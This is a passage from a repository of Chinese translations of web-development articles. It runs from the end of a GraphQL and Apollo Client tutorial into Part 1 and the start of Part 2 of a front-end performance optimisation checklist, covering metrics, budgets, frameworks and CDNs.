来得到数据或者在数据不存在的情况下创建它。 有了 GraphQL,我们可以检查字典,从而了解到 name 字段是可查询的。尝试在启动台右侧面板中添加name字段,然后运行。 ``` { rates(currency: "USD") { currency rates { currency rate name } } } ``` 现在,把 name 字段删掉再重新执行查询。看到了你的查询结果的格式变化了吗? ![当你改变了你的查询的叙述方式,数据也随之改变。](https://cdn.css-tricks.com/wp-content/uploads/2017/12/shape-data.jpg) 你的 GraphQL 服务器总是忠实地返回你所要求的数据,不会多给。这和 REST 有很大不同 —— 在 REST 里你必须把数据过滤和转化成你的 UI 组件所需要的样子。这不仅仅节约了时间,而且还减少了加载和解析数据所需的网络负荷和 CPU 存储空间。 #### 2. 压缩你的状态管理模版 一般来说,获取数据包含了更新你的应用的状态。你通常需要编写代码来追踪至少三个行为:数据何时被加载、数据是否成功抵达、数据是否发生错误。一旦数据抵达,你必须把它转化为你的 UI 组件所期望的样子,对它进行标准化,缓存它,然后更新页面。 这个过程是重复性的,需要无数行模版代码来处理一个请求。 让我们来看看在这个例子中 [一个 React 应用例子沙盒](https://codesandbox.io/s/jvlrl98xw3) Apollo 客户端是如何消灭这个无趣的过程的。 查看 `list.js` 并把滚动条拖到底部。 ``` export default graphql(ExchangeRateQuery, { props: ({ data }) => { if (data.loading) { return { loading: data.loading }; } if (data.error) { return { error: data.error }; } return { loading: false, rates: data.rates.rates }; } })(ExchangeRateList); ``` 在这个例子里,[React Apollo](https://www.apollographql.com/docs/react/basics/integrations.html),Apollo 客户端的 React 集成,把我们的汇率查询关联到 ExchangeRateList 组件。一旦 Apollo 客户端处理了那个查询, 它自动追踪加载和错误状态并把它放入 `data` prop 中去。当 Apollo 客户端收到结果,它会根据查询结果更新 `data` prop,然后按照在渲染中需要用到的汇率更新 UI。 Apollo 客户端在底层为你完成了数据格式化和缓存工作。 尝试在右侧面板单击不同种类的货币看数据刷新。现在,再一次选择某个货币,看到数据如何立刻出现了吗?这是 Apollo 缓存在工作。不需要额外设置你就能免费从 Apollo 客户端获得这些。 😍 打开 `index.js` 来看我们初始化 Apollo 客户端的代码。 #### 3. 使用 Apollo DevTools 和 GraphiQL 快速进行调试 看起来 Apollo 客户端已经为你做了很多工作!我们该如何偷看一下它的内部来了解它是如何运行的呢?有了存储检查和查询与转变过程的完全可见化,Apollo DevTools 不但能回答这些疑问,还能让调试过程不再枯燥甚至变得有趣! 🎉 这在一个为 Chrome 和 Firefox 提供的插件中可用,很快它也将对 React Native 提供服务。 如果你想要试用一下,按照之前的例子,在你喜欢的浏览器上 [安装 Apollo DevTools](https://github.com/apollographql/apollo-client-devtools) 然后导航到 [our CodeSandbox](https://codesandbox.io/s/jvlrl98xw3)。你需要在顶部导航栏点击“下载”,解压文件,运行 `npm install` 然后 `npm start` 来在本地运行这个例子。一旦你打开了浏览器的开发工具面板,你应该看到一个叫 Apollo 的标签页。 首先,我们来检查下存储检查器。这个标签页反映了 Apollo Client 缓存中的状态,让你更容易确定你的数据是不是正确地被存储在客户端了。 ![存储检查器](https://cdn.css-tricks.com/wp-content/uploads/2017/12/1_WjEM653oIZUw4wQyjCqPkA.png) Apollo DevTools 让你也可以在 GraphiQL 中测试你的查询和变更,它是一个交互式的查询编辑器和文档浏览器。事实上,我们在第一个例子中尝试添加字段时已经使用了 GraphiQL。为了方便回顾,当你在将查询输入编辑器时,GraphiQL 将会自动补全,并且自动生成基于 GraphQL 类型系统的文档。这对于拓展字典来说极为有用,不会给开发者带来任何维护成本。 ![Apollo Devtools](https://cdn.css-tricks.com/wp-content/uploads/2017/12/1_s9Bl8jejFH2TAlZk2knFBQ.png) 尝试在 [我的启动台](https://launchpad.graphql.com/v7mnw3m03) 中右侧面板的 GraphiQL 中执行查询!鼠标停在查询编辑器的字段上,并单击提示框来打开文档浏览器。如果你的查询能在 GraphiQL 里成功运行,那你就可以100%肯定这条查询也可以在你的应用中成功运行。 ### 升级你的 GraphQL 技能 好样的,你已经看到这儿了! 👏 希望你喜欢这些例子,并且开始了解应该如何在前端使用 GraphQL 了。 想要了解更多? 🌮 把 “继续学习 GraphQL” 列入你的2018新年计划吧!因为我希望它在新的一年里能够更加流行。下面是教你如何活用新学到的概念的应用实例: * React: [https://codesandbox.io/s/jvlrl98xw3](https://codesandbox.io/s/jvlrl98xw3) * Angular (Ionic): [https://github.com/aaronksaunders/ionicLaunchpadApp](https://github.com/aaronksaunders/ionicLaunchpadApp) * Vue: [https://codesandbox.io/s/3vm8vq6kwq](https://codesandbox.io/s/3vm8vq6kwq) 继续使用 GraphQL 吧(记得关注我们的 Twitter [@apollographql](https://twitter.com/apollographql))! 🚀 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/front-end-performance-checklist-2018-1.md ================================================ > * 原文地址:[Front-End Performance Checklist 2018 - Part 1](https://www.smashingmagazine.com/2018/01/front-end-performance-checklist-2018-pdf-pages/) > * 原文作者:[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md) > * 译者:[tvChan](https://github.com/tvChan) > * 校对者:[mysterytony](https://github.com/mysterytony) [ryouaki](https://github.com/ryouaki) # 2018 前端性能优化清单 —— 第一部分 下面你将会看到你可能需要考虑到的前端性能优化问题,以保证你的应用具有快速和流畅的响应时间。 - [2018 前端性能优化清单 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md) - [2018 前端性能优化清单 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md) - [2018 前端性能优化清单 —— 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md) - [2018 前端性能优化清单 —— 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md) *** ### 做好准备:计划和指标 微小的优化对于保持性能来说都是很重要的,但是在头脑中明确的定义 —— **可衡量**的目标才是至关重要的。这将会影响你整个过程中做出的任何决定。有几种不同的模型,下面讨论的模型都很有自己的主见 —— 只要确保在一开始能设定自己的优先级就行。 1. **建立性能指标。** 在许多组织里,前端开发人员确切的知道常见的潜在问题是什么,并且知道使用什么加载模块来修复它们。然而,只要开发/设计和营销团队之间没有一致性,性能就不能长期维持。研究客户服务中的常见投诉,了解如何提高性能,可以帮助解决这些常见问题。 在移动和桌面设备上运行性能实验和测量结果。它将帮助你的公司量身定做一个根据真实数据而得到的研究案例。此外,利用 [WPO 统计](https://wpostats.com/) 数据对案例进行研究和实验,可以帮助提高业务对性能问题的敏感度,以及它对用户体验和业务指标的影响。仅仅说明性能问题是远远不够的 —— 你也需要建立一些可衡量和可跟踪的目标并对它们进行观察。 2. **目标:至少要比你最快的竞争对手还快 20%。** 根据[心理学的研究](https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/#the-need-for-performance-optimization-the-20-rule),如果你想让用户感觉你的网站比竞争对手的快,你**至少**需要比它们快 20%。 研究你的主要竞争对手,收集它们是怎么在手机和桌面设备上展示的数据,并且设置阈值来帮助你超过它们。要获取准确的结果和目标,首先要研究你的分析结果,看看你的用户都在做什么。然后,你可以模拟第百分之九十位的实验进行测试。收集数据,创建一个 [电子数据表](http://danielmall.com/articles/how-to-make-a-performance-budget/),从中剔除 20%, 并制定你的目标(即 [性能预算](http://bradfrost.com/blog/post/performance-budget-builder/))。现在你就有一些可以测试的东西了。 如果你希望保持现在的成本不变,并尽可能的少写一些脚本,就能有一个快速的可交互时间。那么你已经走在正确的道路上了。劳拉.霍根的[指导你如何用性能预算接近设计](http://designingforperformance.com/weighing-aesthetics-and-performance/#approach-new-designs-with-a-performance-budget) 里提供了有用的方向,设计人员,[性能预算计算者](http://www.performancebudget.io/)和 [Browser Calories](https://browserdiet.com/calories/) 可以帮助我们创建预算(感谢 [Karolina Szczur](https://medium.com/@fox/talk-the-state-of-the-web-3e12f8e413b3) 的牵头)。 ![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_2000/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/231e97c1-4bfa-4dff-85a7-93e0a16b2690/performance-budget-lbp9l7-c-scalew-862-opt.png) 除了性能预算之外,还要考虑对你的业务最有利的关键客户任务。设置和讨论可接受的**关键行为的时间阈值**,并建立整个项目组都已经同意的 "UX 就绪"的用户计时标记。在许多情况下,用户的需求将会影响到许多不同部门的工作。因此, 在可接受的时间内进行调整,将有助于支持或避免了在优化路上的性能讨论。确保增加资源和功能的额外成本是可预见和可理解的。 此外, 正如 Patrick Meenan 建议的,在设计过程中**制定一个加载顺序及其权衡**是非常值得。如果你在早期优先考虑哪些部分更重要,并且定义了它们应该出现的顺序,那么你也将知道哪些部分可以延迟。在理想情况下,该顺序还将反映 CSS 和 JavaScript 的导入顺序。因此,在构建过程中处理它们会更容易。此外,在加载页面时,请考虑在"中间"状态下的视觉体验 (例如,web 字体尚未加载时)。 计划,计划,计划。在早期的优化里,它可能像是诱人的"熟水果" —— 最终它可能是一个很好的能快速取胜的策略 —— 但是,如果没有计划和切合实际的、为公司量身定制的性能目标,就很难将性能放在首位。 3. **选择正确的指标。** [并不是所有的指标都同样重要](https://speedcurve.com/blog/rendering-metrics/)。研究哪些标准对你的应用程序最重要:通常它与你开始渲染那些**最重要的**像素点(以及它们是什么)有多快和如何快速地为这些渲染的像素点提供输入响应有关。这可以帮助你为后续的工作提供最佳的优化结果。不管怎样,不要专注于整个页面的加载时间(例如,通过 **onLoad** 和 **DOMContentLoaded** 计时),而是优先加载用户认为重要的页面。这意味着要专注于一组稍有不同的指标。事实上,选择正确的指标是一个没有对手的过程。
      首次有内容渲染,首次有效渲染,视觉完整和可交互时间之间的区别。[大图](https://docs.google.com/presentation/d/1D4foHkE0VQdhcA5_hiesl8JhEGeTDRrQR4gipfJ8z7Y/present?slide=id.g21f3ab9dd6_0_33)。来自于:[@denar90](https://docs.google.com/presentation/d/1D4foHkE0VQdhcA5_hiesl8JhEGeTDRrQR4gipfJ8z7Y/present?slide=id.g21f3ab9dd6_0_33) 下面是一些值得考虑的指标: * **首次有效渲染**(FMP,是指主要内容出现在页面上所需的时间), * **[英雄渲染时间](https://speedcurve.com/blog/web-performance-monitoring-hero-times/)**(页面最重要部分渲染完成所需的时间), * **可交互时间**(TTI,是指页面布局已经稳定,关键的页面字体已经可见,主进程可以足够的处理用户的输入 —— 基本的时间标记是,用户可以在 UI 上进行点击和交互), * **输入响应**,接口响应用户操作所需的时间, * **速度指标**,测量填充页面内容的速度。 分数越低越好, * 你的[自定义指标](https://speedcurve.com/blog/user-timing-and-custom-metrics/),由你的业务需求和客户体验来决定。 Steve Souders 对[每个指标都进行了详细的解释](https://speedcurve.com/blog/rendering-metrics/)。在许多情况下,根据你的应用程序的上下文,[可交互时间和输入响应](https://medium.com/netflix-techblog/crafting-a-high-performance-tv-user-interface-using-react-3350e5a6ad3b)会是最关键的。但这些指标可能会不同:例如,对于 Netflix 电视的用户界面来说,关键输入响应、内存使用和可交互时间更为重要。 4. **从具有代表性的观众的设备上收集数据。** 为了收集准确的数据,我们需要彻底的选择要测试的设备。也许在一个[开放式的实验室](https://www.smashingmagazine.com/2016/11/worlds-best-open-device-labs/)里,Moto G4 是一个很好的选择,它是一款中档的三星设备又或者是一个普通的设备,如 Nexus 5X。如果你手边没有设备,可以在节流网络(例如,150 ms 的往返时延,1.5 Mbps 以下,0.7 Mbps 以上)上使用节流 CPU(5× 减速)实现在桌面设备上模拟移动设备的体验。最终,切换到常规的 3G,4G 和 wi-fi。为了使性能体验的影响更明显,你甚至可以在你的办公室里引入 [2G Tuesdays 计划](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world)或者设置[一个节流的 3G 网络](https://twitter.com/thommaskelly/status/938127039403610112),以便进行更快的测试。 [![Introducing the slowest day of the week](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dfe1a4ec-2088-4e39-8a39-9f2010380a53/tuesday-2g-opt.png)](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world) 引入一周中最慢的一天。Facebook推出了[周二 2G 计划](https://www.theverge.com/2015/10/28/9625062/facebook-2g-tuesdays-slow-internet-developing-world),以提高对低速连接的能见度和灵敏度。([图片来源](http://www.businessinsider.com/facebook-2g-tuesdays-to-slow-employee-internet-speeds-down-2015-10?IR=T)) 幸运地是,有许多很好的选项可以帮助你自动的收集数据,并根据这些指标来衡量在一段时间内你的网站的运行情况。请记住,良好的性能指标是被动和主动监测工具的组合: * **被动监测工具**,是那些模拟用户交互请求(**综合测试**,如**Lighthouse**,**WebPageTest**)和 * 那些不断记录和评价用户交互行为的**主动监测工具**(**真正的用户监控**,如 **SpeedCurve**,**New Relic** —— 这两种工具也提供综合测试) 前者是在开发过程中特别有用,因为它能帮助你在产品开发过程中持续跟踪。后者对于长期维护很有用,因为它能帮助你了解用户在实际访问站点时的性能瓶颈。利用内置的 RUM API,如导航计时,资源计时,渲染计时,长任务等,被动和主动的性能监测工具可以一起为你的应用程序提供完整的性能视图。例如,你可以使用[PWMetrics](https://github.com/paulirish/pwmetrics),[Calibre](https://calibreapp.com),[SpeedCurve](https://speedcurve.com/),[mPulse](https://www.soasta.com/performance-monitoring/),[Boomerang](https://github.com/yahoo/boomerang) 和 [Sitespeed.io](https://www-origin.sitespeed.io/),这些都是性能监测工具的绝佳选择。 **注意**:选择网络级别的节流器(在浏览器外部)总是比较安全的,例如,DevTools 与 HTTP/2 推送的交互问题,是因为它的实现方式。(**感谢 Yoav!**) [![Lighthouse](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/d829af6f-23ff-432c-9659-bd6f3c13678f/lighthouse-shop-polymer-opt.png)](https://developers.google.com/web/tools/lighthouse/) [Lighthouse](https://developers.google.com/web/tools/lighthouse/)一个集成在 DevTools 的性能检测工具。 5. **与你的同事分享性能清单。** 为了避免误解,要确保你团队里的每个同事都对清单很熟悉。每个决策都对性能有影响。项目将极大地受益于前端开发人员正确地将性能价值传达给整个团队。这样每个人都会对它负责,而不仅仅是前端开发人员。根据性能预算和核对表中定义的优先级映射设计决策。 [![RAIL](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c91c910d-e934-4610-9dc5-369ec9071b57/rail-perf-model-opt.png)](https://developers.google.com/web/fundamentals/performance/rail) [RAIL](https://developers.google.com/web/fundamentals/performance/rail),以用户为中心的性能模型。 ### 制定现实的目标 6. **60 fps,100 毫秒的响应时间。** 为了让交互感觉起来很顺畅,接口有 100ms 来响应用户的输入。任何比它长的时间,用户都会认为该应用程序很慢。[RAIL,一个以用户为中心的性能模型](https://www.smashingmagazine.com/2015/10/rail-user-centric-model-performance/)会为你提供健壮的目标。为了让页面达到小于 100ms 的响应,页面必须要在在每小于 50ms 前将控制返回到主线程。[预计输入延迟时间](https://developers.google.com/web/tools/lighthouse/audits/estimated-input-latency)会告诉我们,如果我们能达到这个门槛,在理想情况下,它应该低于 50ms。对于像动画这样的高压点,最好不要在你能做到的地方做任何事,也不要做你不能做到的事。 同时,每一帧动画应该要在 16 毫秒内完成,从而达到 60 帧每秒(1秒 ÷ 60 = 16.6 毫秒) —— 最好在 10 毫秒。因为浏览器需要时间将新框架绘制到屏幕上,你的代码应该在触发 16.6 毫秒的标志前完成。[保持乐观](https://www.smashingmagazine.com/2016/11/true-lies-of-optimistic-user-interfaces/)和明智地利用空闲时间。显然,这些目标适用于运行时的性能,而不是加载性能。 7. **速度指标小于 1250,在 3G 网络环境下可交互时间小于 5s,重要文件的大小预算小于 170kb。** 虽然这可能很难实现,但首次有效渲染要低于 1 秒和[速度指标](https://sites.google.com/a/webpagetest.org/docs/using-webpagetest/metrics/speed-index)的值低于 1250 将会是一个很好的最终目标。考虑到是一个以 200 美金为基准的 Android 手机(如 Moto G4)在一个缓慢的 3G 网络上,模拟 400ms 的往返延时和 400kb 的传输速度。它的目标是[可交互时间低于 5s](https://www.youtube.com/watch?v=_srJ7eHS3IM&feature=youtu.be&t=6m21s),并且重复访问的速度低于 2s。 请注意,当谈到**可交互时间**时,最好来区分一下[首次交互和一致性交互](https://calendar.perfplanet.com/2017/time-to-interactive-measuring-more-of-the-user-experience/)以避免对它们之间的误解。前者是在主要内容已经渲染出来后最早出现的点(窗口至少需要 5s,页面才开始响应)。后者是期望页面可以一直进行输入响应的点。 HTML 的前 14~15kb 加载是**是最关键的有效载荷块** —— 也是第一次往返(这是在400 ms 往返延时下 1秒内所得到的)预算中唯一可以交付的部分。一般来说,为了实现上述目标,我们必须在关键的文件大小内进行操作。[最高预算 170 Kb gzip](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/) (0.8-1MB decompressed)(0.8-1MB解压缩),它已经占用多达 1s (取决于资源类型)来解析和在普通电话上进行编译。稍微高于这个值是可以的,但是要尽可能地降低这些值。 不过你也可以超出包大小的预算。例如,你可以在浏览器主线程的活动中设置性能预算,即:在开始渲染前的绘制时间或者[跟踪前端 CPU](https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/) 。[Calibre](https://calibreapp.com/),[SpeedCurve](https://speedcurve.com/) 和 [Bundlesize](https://github.com/siddharthkp/bundlesize) 这些工具可以帮助你保持你的预算控制,并集成到你的构建过程。 [![From 'Fast By Default: Modern Loading Best Practices' by Addy Osmani](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/3bb4ab9e-978a-4db0-83c3-57a93d70516d/file-size-budget-fast-default-addy-osmani-opt.png)](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices) [本来就很快的:现代化加载的最佳实践](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices) 来自 Addy Osmani(幻灯片 19) ### Defining The Environment 8. **选择和设置你的构建工具。** [不要太在意那些很酷的东西](https://24ways.org/2017/all-that-glisters/)。坚持使用你的构建工具,无论是Grunt,Gulp,Webpack,Parcel,还是工具间的组合。只需要你能快速的得到结果,并且维护你的构建过程保证没问题。那么,你就做的很好了。 9. **渐进式增强。** 将[渐进式增强](https://www.aaron-gustafson.com/notebook/insert-clickbait-headline-about-progressive-enhancement-here/)作为前端结构体系和部署的指导原则是一个安全的选择。首先设计和构建核心经验,然后为有能力的浏览器使用高级特性增强体验,创造[弹性](https://www.aaron-gustafson.com/notebook/insert-clickbait-headline-about-progressive-enhancement-here/)体验。如果你的网站是在一个网络不佳的并且有个糟糕的显示屏上糟糕的浏览器上运行,速度还很快的话,那么,当它运行在一个快速网络下快速的浏览器的机器上,它只会运行得更快。 10. **选择一个强大的性能基准。** 有这么多未知因素影响加载 —— 网络、热保护、缓存回收、第三方脚本、解析器阻塞模式、磁盘的读写、IPC jank、插件安装、CPU、硬件和内存限制、web 字体加载行为 —— [JavaScript 的代价是最大的](https://youtu.be/_srJ7eHS3IM?t=3m2s),web 字体阻塞渲染往往是默认和图片消耗了大量的内存所导致的。由于性能瓶颈从[服务器端转移到客户端](https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/),作为开发人员,我们必须更详细地考虑所有这些未知因素。 在 170kb 的预算中,已经包括了关键路径的 HTML/CSS/JavaScript、路由器、状态管理、实用程序、框架和应用程序逻辑,我们必须彻底[检查网络传输成本,分析/编译时间和我们选择的框架的运行时的成本](https://www.twitter.com/kristoferbaxter/status/908144931125858304)。 [!['Fast By Default: Modern Loading Best Practices' by Addy Osmani](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/39c247a9-223f-4a6c-ae3d-db54a696ffcb/tti-budget-opt.png)](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices) 本来就很快的:[现代化加载的最佳实践](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)来自 Addy Osmani(幻灯片18、19)。 正如 Seb Markbage 所[指出](https://twitter.com/sebmarkbage/status/829733454119989248),测量框架的启动成本的好方法是首先渲染视图,再删除它,然后再渲染,因为它可以告诉你框架是如何处理的。 第一种渲染倾向于预热一堆编译迟缓的代码,当它扩展时,更大的树可以从中受益。第二种渲染基本上是对页面上的代码重用如何影响性能特性的模拟,因为页面越来越复杂。 [并不是每个项目都需要框架](https://twitter.com/jaffathecake/status/923805333268639744)。事实上,某些项目因[移除已存在的框架而从中获益](https://twitter.com/jaffathecake/status/925320026411950080)。一旦选择了一个框架,你将会至少与它相处几年。所以,如果你需要使用它,确保你的选择是经过[深思熟虑的](https://medium.com/@ZombieCodeKill/choosing-a-javascript-framework-535745d0ab90#.2op7rjakk)而且别人是[知情的](https://www.youtube.com/watch?v=6I_GwgoGm1w)。在进行选择前,至少要考虑总大小的成本 + 初始解析时间:轻量级的选项像 [Preact](https://github.com/developit/preact),[Inferno](https://github.com/infernojs/inferno),[Vue](https://vuejs.org/),[Svelte](https://svelte.technology/) 或者 [Polymer](https://github.com/Polymer/polymer) 都可以把工作做得很好。大小的基准将决定应用程序代码的约束。 [![JavaScript parsing costs can differ significantly](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8a36eef0-083f-4652-9814-95ffe7848982/parse-costs-opt.png)](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices) JavaScript 解析成本可能有很大差异。[本来就很快的: 现代化加载的最佳实践](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)来自Addy Osmani (幻灯片 10)。 请记住,在移动设备上,与台式计算机相比,你会预计有 4x-5x 的减速。因为移动设备具有不同的 GPU,CPU,内存及电池特性。在手机上的解析时间[比桌面设备的要高 36%](https://github.com/GoogleChromeLabs/discovery/issues/1)。所以总在一个[普通的设备上测试](https://www.webpagetest.org/easy-load) —— 一种最能代表你的观众的设备。 不同的框架将会对性能产生不同的影响,并且需要不同的优化策略。因此,你必须清楚地了解你所依赖的框架的所有细节。[PRPL 模式](https://developers.google.com/web/fundamentals/performance/prpl-pattern/)和[应用程序 shell 体系结构](https://developers.google.com/web/updates/2015/11/app-shell)。这个想法很简单: 将初始路由的交互所需的最小代码快速呈现,然后使用 service worker 进行缓存和预缓存资源,然后异步加载所需的路由。 [![PRPL Pattern in the application shell architecture](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bb4716e5-d25b-4b80-b468-f28d07bae685/app-build-components-dibweb-c-scalew-879-opt.png)](https://developers.google.com/web/fundamentals/performance/prpl-pattern/) [PRPL](https://developers.google.com/web/fundamentals/performance/prpl-pattern/) 代表的是保持推送关键资源,渲染初始路由,预缓存剩余路由和延迟加载必要的剩余路由。 [![Application shell architecture](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6423db84-4717-4aeb-9174-7ae96bf4f3aa/appshell-1-o0t8qd-c-scalew-799-opt.jpg)](https://developers.google.com/web/updates/2015/11/app-shell) [应用程序 shell](https://developers.google.com/web/updates/2015/11/app-shell) 是最小的 HTML、CSS 和 JavaScript 驱动的用户界面。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/front-end-performance-checklist-2018-2.md ================================================ > * 原文地址:[Front-End Performance Checklist 2018 - Part 2](https://www.smashingmagazine.com/2018/01/front-end-performance-checklist-2018-pdf-pages/) > * 原文作者:[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md) > * 译者:[sakila1012](https://github.com/sakila1012) > * 校对者:[sunshine940326](https://github.com/sunshine940326),[xingqiwu55555](https://github.com/xingqiwu55555) # 2018 前端性能优化清单 - 第 2 部分 下面是前端性能问题的概述,你可以参考以确保流畅的阅读本文。 - [2018 前端性能优化清单 - 第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md) - [2018 前端性能优化清单 - 第 2 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md) - [2018 前端性能优化清单 - 第 3 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md) - [2018 前端性能优化清单 - 第 4 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md) *** 11. **你会在你的项目中使用 AMP 和 Instant Articles 么?** 依赖于你的组织优先性和战略性,你可能想考虑使用谷歌的 [AMP](https://www.ampproject.org/) 和 Facebook 的 [Instant Articles](https://instantarticles.fb.com/) 或者苹果的 [Apple News](https://www.apple.com/news/)。没有它们,你可以实现很好的性能,但是 AMP 确实提供了一个免费的内容分发网络(CDN)的性能框架,而 Instant Articles 将提高你在 Facebook 上的知名度和表现。 对于用户而言,这些技术主要的优势是确保性能,但是有时他们宁愿喜欢 AMP-/Apple News/Instant Pages 链路,也不愿是“常规”和潜在的臃肿页面。对于以内容为主的网站,主要处理很多第三方法内容,这些选择极大地加速渲染的时间。 对于网站的所有者而言优势是明显的:在各个平台规范的可发现性和[增加搜索引擎的可见性](https://ethanmarcotte.com/wrote/ampersand/)。你也可以通过把 AMP 作为你的 PWA 数据源来构建[渐进增强的 Web 体验](https://www.smashingmagazine.com/2016/12/progressive-web-amps/)。缺点?显然,在一个有围墙的区域里,开发者可以创造并维持其内容的单独版本,防止 Instant Articles 和 Apple News [没有实际的URLs](https://www.w3.org/blog/TAG/2017/07/27/distributed-and-syndicated-content-whats-wrong-with-this-picture/)。(**谢谢** _Addy,Jeremy_) 12. **明智地选择你的 CDN** 根据你拥有的动态数据量,你可以将部分内容外包给[静态站点生成器](https://www.smashingmagazine.com/2015/11/static-website-generators-jekyll-middleman-roots-hugo-review/),将其放在 CDN 中并从中提供一个静态版本。因此可以避免数据的请求。你甚至可以选择一个基于 CDN 的[静态主机平台](https://www.smashingmagazine.com/2015/11/modern-static-website-generators-next-big-thing/),将交互组件作为增强来充实你的页面 ([jamstack](https://jamstack.org/))。 注意,CDN 也可以服务(卸载)动态内容。因此,限制你的 CDN 到静态资源是不必要的。仔细检查你的 CDN 是否进行压缩和转换(比如:图像优化方面的格式,压缩和调整边缘的大小),智能 HTTP/2 交付,边侧包含,在 CDN 边缘组装页面的静态和动态部分(比如:离用户最近的服务端),和其他任务。 ### 构建优化 13. **分清轻重缓急** 知道你应该优先处理什么是个好主意。管理你所有资产的清单(JavaScript,图片,字体,第三方脚本和页面中“昂贵的”模块,比如:轮播图,复杂的图表和多媒体内容),并将它们划分成组。 建立电子表格。针对传统的浏览器,定义基本的_核心_体验(比如:完全可访问的核心内容),针对多功能浏览器_提升_体验(比如:丰富多彩的,完美的体验)和其他的(不是绝对需要而且可以被延迟加载的资源,如 Web 字体、不必要的样式、旋转木马脚本、视频播放器、社交媒体按钮、大型图像。)。我们在“[Improving Smashing Magazine's Performance](https://www.smashingmagazine.com/2014/09/improving-smashing-magazine-performance-case-study/)”发布了一篇文章,上面详细描述了该方法。 14. **考虑使用“cutting-the-mustard”模式** 虽然很老,但我们仍然可以使用 [cutting-the-mustard 技术](http://responsivenews.co.uk/post/18948466399/cutting-the-mustard)将核心经验带到传统浏览器并增强对现代浏览器的体验。严格要求加载的资源:优先加载核心传统的,然后是提升的,最后是其他的。该技术从浏览器版本中演变成了设备功能,这已经不是我们现在能做的事了。 